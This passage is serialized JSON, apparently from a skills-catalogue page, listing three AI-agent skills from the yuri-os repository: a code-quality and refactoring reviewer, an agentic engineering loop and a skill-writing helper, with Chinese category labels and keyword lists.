outreach","frame",{"skillNo":149,"name":150,"nameZh":6,"description":151,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":152,"categories":153,"keywords":162,"publishedAt":44},"01M71CFQMBFTFADJNGP0Z2WCYK","yuri-code-intelligence","Unified code quality intelligence layer that diagnoses code smells (Long Method, Feature Envy, design pattern issues), prescribes targeted Fowler refactoring techniques, and reviews code for security, performance, and clarity. Use when user says 'review this code', 'refactor this', 'what's wrong with this method', 'code smells', or 'clean this up'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-code-intelligence\u002FSKILL.md",[154,157],{"categoryNo":155,"categoryName":156,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000007","代码审查",{"categoryNo":158,"categoryName":159,"taxonomyType":160,"taxonomyTypeDesc":161},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[163,94,164,130,84,165,166,167,29,168,169,170,171,172,173,174,175,176,90,92],"yuri code intelligence","code intelligence","reviews","code quality","feature","performance","code review","long","up","issues","clean","techniques","improve","design",{"skillNo":178,"name":179,"nameZh":6,"description":180,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":181,"categories":182,"keywords":183,"publishedAt":44},"01M71CFP32RT6GD3GKNHCJP8VP","yuri-adw","Invoke when user asks to run the ADW loop \u002F agentic engineering loop \u002F software factory workflow.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-adw\u002FSKILL.md",[],[184,185,186,187,188,189,190,191,192,92,193,114,194,195],"yuri adw","run","engineering loop","software factory","software","agentic engineering","factory","loop","invoke","engineering","agentic","user",{"skillNo":197,"name":198,"nameZh":6,"description":199,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":200,"categories":201,"keywords":212,"publishedAt":44},"01M71CFK4VPEKY6A73237P7RSN","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[202,203,206,209],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":204,"categoryName":205,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":207,"categoryName":208,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":210,"categoryName":211,"taxonomyType":160,"taxonomyTypeDesc":161},"01JBSEEDCAT000000000000036","内容创作者",[213,214,215,92,114,216,84,217,108,90,218],"writing","writing skills","new","work","editing","Existing"]